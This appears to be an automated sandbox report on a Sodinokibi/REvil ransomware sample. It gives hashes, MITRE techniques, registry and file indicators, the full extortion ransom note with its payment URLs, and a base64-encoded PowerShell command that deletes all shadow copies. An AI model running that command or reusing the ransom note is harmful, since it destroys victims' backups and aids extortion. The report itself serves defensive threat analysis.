sodinokibi | ef6a96bf68ec54d78f4f4cd304acc6718f9dfe398f368bc1e5b127bd746302f2

General

Target

ef6a96bf68ec54d78f4f4cd304acc6718f9dfe398f368bc1e5b127bd746302f2.dll
Size

166KB
MD5

c92b042810b6ebc8c31dec42d898aad5
SHA1

1ed1e16a78c0760d318b6bf69410f3b35126eb75
SHA256

ef6a96bf68ec54d78f4f4cd304acc6718f9dfe398f368bc1e5b127bd746302f2
SHA512

5b662a76302dd4379619a01b6d45f75b045950245c326a243ab18f8923f823b0607352c1d4162d949779fa1eb6b08e513e15289a7529ae457af4a9752487d7b4

Score

10^/10

ransomware sodinokibi persistence evasion spyware trojan

Malware Config

Extracted

Path

C:\6ily0q-read-me.txt

Family

sodinokibi

Ransom Note

---=== Welcome Fire Quest Fire Alarm Service. ===--- [+] Whats Happen? [+] Your network has been penetrated. Your files are encrypted with strong military algorithm, and currently unavailable. You can check it: all files on your system has extension 6ily0q. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). Also, all your business info copyed to our servers. Personal data of your clients and business contacts extracted. If you do not take action to contact us, the data will be published fo free access everyone or will be send your competitor. As soon as we receive the payment, all data will be deleted from our servers. [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F2356FE4A97D19E6 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/F2356FE4A97D19E6 Contact with us in chat on website. You have 3 days. If you need more time to make a decision and collect money for payment - inform the support chat about this. [+] How will the decryption process proceed after payment? [+] After payment we will send to you our scanner-decoder program and detailed instructions for use. With this program you will be able to decrypt all your encrypted files. Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 2MFA2ehiJgAeybBN5OC7KEmAu36He4AiGLsdR7XVvae1T/VZsBJog/UJWNdD6Ksi WQMcpiY0fFiNB4I/lq6M1MjsnZWjwpkQOkgoOXVMhJmmUhxuXqNBMdRmcgihhW+4 FJOf36HZmgR8R6L4zTDW3hA3/O3rxTGvhrjWTOT/A/edulqciJw8W+gOtf8OHzZp XPMY2wlothQCqE8pRQPy4N44gunb0M0Czt0K5AnDGQAxYh9AyRyDtMIf9THfsQGa F+L39SDpnBdUJGfDvOD4G72V4pDqsFCKfu9i/eqrXKWdZ0d7ebLOKDlRYGxZCop2 sKeJsCL0QxlpIEriNjGQben5BNCh2CUVCL/3LicoKSBEDK2wobjPtHI3TwwU3u91 NofO6PG1R5U+Y3XfwQrBt61uugrCEsQ45LBn/exb24MwVsgcSaNQZWS8fK5ZqHyj HwxRclTZGIoOdWuWvBsklNUvA6wfauDUn19eZOTMUG9l5fUJ2bmwe4USkDktnCmd 6qb9bMj1bauejJcaNFL5IZtc0ONmVvnefPEet+az1OFFMvA49pOH/tX90D1HJVSX AqvupWf3W3pZgBxnHEAPBYyQp4155DX55FwbwvGT9c8oZf2/x3Cc+CshBNbtnkbk +PeLpNCj3ghXfYQ5zU+e49SGRosvIZKpRscFnG5rV6XXSGAoGGZhxV45ktS+pa2z DvR/GgF+oADHOri0NNmo0kZDjeYMFpyG6yv+58rKSYJ2yb3bMf1a52LDdbFLplyI cvdrFbz4lcGRk0bhpeii5N1nODNEtwnPxySIkvtCn3Kmbb6171x13gRlSBSTNC8A HzmlbZjY56KNrJwDl4pALWU9GhtpjDbsMYNXRIrBDHlE2qL0LTz+rKAt6R1p1bLD DNfVOY4ezQaZhHC81Yub8/kpbw8MTFLIb5PG8Utp0y/SumZLh+S0mcl36Bq/k7Qc 26bKccJp4x98VdM/OmYXP/y7AkQUPI6iYN3vLjzjanDrGNzl+e3JMjoLL3wX7TUU c7TNoE7RvIxbAynF7fedVS7NmuB+Sn0N3rbDb+QzzhyqvCIOoVGab7AXWk6NeLxb YCitgiK3xdTTS0HJtzV5NEVDVGDxwLrBpyVoyy3hmd1fXqIEIOyTrVgIDIpOUQyM i0sPpCmbO0/Fm74l1psDxy9FvITErs++WDPwU8J2zVBRe8QOY3FU9NqsKvJoS1eN KznD2zRxKWTt/eGDBnYlfOc8+sVEpxpAW8NT1glMI9OOpSIdUOQu37CXvv4iXjgC IKkDbp+bAnoKwcUiGkE/a9E68yE5db/j7krf5cl1W0Q= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F2356FE4A97D19E6

http://decryptor.cc/F2356FE4A97D19E6

Signatures

Blacklisted process makes network request 134 IoCs

Processes:

rundll32.exe

flow	pid	process
2	2032	rundll32.exe
3	2032	rundll32.exe
5	2032	rundll32.exe
6	2032	rundll32.exe
9	2032	rundll32.exe
11	2032	rundll32.exe
13	2032	rundll32.exe
14	2032	rundll32.exe
16	2032	rundll32.exe
17	2032	rundll32.exe
19	2032	rundll32.exe
22	2032	rundll32.exe
24	2032	rundll32.exe
26	2032	rundll32.exe
28	2032	rundll32.exe
30	2032	rundll32.exe
32	2032	rundll32.exe
34	2032	rundll32.exe
35	2032	rundll32.exe
37	2032	rundll32.exe
39	2032	rundll32.exe
41	2032	rundll32.exe
42	2032	rundll32.exe
44	2032	rundll32.exe
45	2032	rundll32.exe
47	2032	rundll32.exe
49	2032	rundll32.exe
51	2032	rundll32.exe
53	2032	rundll32.exe
54	2032	rundll32.exe
56	2032	rundll32.exe
58	2032	rundll32.exe
59	2032	rundll32.exe
63	2032	rundll32.exe
65	2032	rundll32.exe
67	2032	rundll32.exe
68	2032	rundll32.exe
70	2032	rundll32.exe
71	2032	rundll32.exe
73	2032	rundll32.exe
75	2032	rundll32.exe
77	2032	rundll32.exe
79	2032	rundll32.exe
82	2032	rundll32.exe
83	2032	rundll32.exe
85	2032	rundll32.exe
86	2032	rundll32.exe
88	2032	rundll32.exe
90	2032	rundll32.exe
91	2032	rundll32.exe
93	2032	rundll32.exe
94	2032	rundll32.exe
96	2032	rundll32.exe
97	2032	rundll32.exe
99	2032	rundll32.exe
100	2032	rundll32.exe
102	2032	rundll32.exe
103	2032	rundll32.exe
105	2032	rundll32.exe
107	2032	rundll32.exe
109	2032	rundll32.exe
111	2032	rundll32.exe
113	2032	rundll32.exe
115	2032	rundll32.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Discovering connected drives 3 TTPs 6 IoCs

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exepowershell.exe

description	ioc	process
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\C:	powershell.exe
File opened (read-only)	\??\C:	rundll32.exe

Modifies system certificate store 2 TTPs 8 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

rundll32.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b1900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd90b000000010000001200000044006900670069004300650072007400000014000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd155090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703082000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	rundll32.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b06010505080202200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	rundll32.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e650190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e709000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000002000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	rundll32.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	rundll32.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

rundll32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\b0e8.bmp"	rundll32.exe

Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\System32\CatRoot2\dberr.txt rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	rundll32.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 2024 wrote to memory of 2032	2024	rundll32.exe	rundll32.exe
PID 2024 wrote to memory of 2032	2024	rundll32.exe	rundll32.exe
PID 2024 wrote to memory of 2032	2024	rundll32.exe	rundll32.exe
PID 2024 wrote to memory of 2032	2024	rundll32.exe	rundll32.exe
PID 2024 wrote to memory of 2032	2024	rundll32.exe	rundll32.exe
PID 2024 wrote to memory of 2032	2024	rundll32.exe	rundll32.exe
PID 2024 wrote to memory of 2032	2024	rundll32.exe	rundll32.exe
PID 2032 wrote to memory of 376	2032	rundll32.exe	powershell.exe
PID 2032 wrote to memory of 376	2032	rundll32.exe	powershell.exe
PID 2032 wrote to memory of 376	2032	rundll32.exe	powershell.exe
PID 2032 wrote to memory of 376	2032	rundll32.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	2032	rundll32.exe
Token: SeDebugPrivilege	376	powershell.exe
Token: SeBackupPrivilege	1684	vssvc.exe
Token: SeRestorePrivilege	1684	vssvc.exe
Token: SeAuditPrivilege	1684	vssvc.exe
Token: SeTakeOwnershipPrivilege	2032	rundll32.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

rundll32.exepowershell.exe

pid process

2032 rundll32.exe
376 powershell.exe
376 powershell.exe

pid	process
2032	rundll32.exe
376	powershell.exe
376	powershell.exe

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe

Drops file in Program Files directory 16 IoCs

Processes:

rundll32.exe

description	ioc	process
File created	\??\c:\program files (x86)\6ily0q-read-me.txt	rundll32.exe
File opened for modification	\??\c:\program files\SwitchUnprotect.wm	rundll32.exe
File opened for modification	\??\c:\program files\UpdateUnpublish.xht	rundll32.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\6ily0q-read-me.txt	rundll32.exe
File opened for modification	\??\c:\program files\CompleteUninstall.dotx	rundll32.exe
File created	\??\c:\program files\microsoft sql server compact edition\6ily0q-read-me.txt	rundll32.exe
File opened for modification	\??\c:\program files\SaveRepair.emz	rundll32.exe
File opened for modification	\??\c:\program files\SuspendGet.odt	rundll32.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\6ily0q-read-me.txt	rundll32.exe
File opened for modification	\??\c:\program files\DisableUndo.au3	rundll32.exe
File opened for modification	\??\c:\program files\JoinClear.pptm	rundll32.exe
File opened for modification	\??\c:\program files\RegisterUnregister.mpg	rundll32.exe
File created	\??\c:\program files\6ily0q-read-me.txt	rundll32.exe
File opened for modification	\??\c:\program files\ConvertToRestore.ttc	rundll32.exe
File opened for modification	\??\c:\program files\EnableSync.edrwx	rundll32.exe
File opened for modification	\??\c:\program files\LimitGrant.snd	rundll32.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\ef6a96bf68ec54d78f4f4cd304acc6718f9dfe398f368bc1e5b127bd746302f2.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2024

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\ef6a96bf68ec54d78f4f4cd304acc6718f9dfe398f368bc1e5b127bd746302f2.dll,#1
2⤵
- Blacklisted process makes network request
- Discovering connected drives
- Modifies system certificate store
- Sets desktop wallpaper using registry
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Drops file in Program Files directory
PID:2032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Discovering connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:376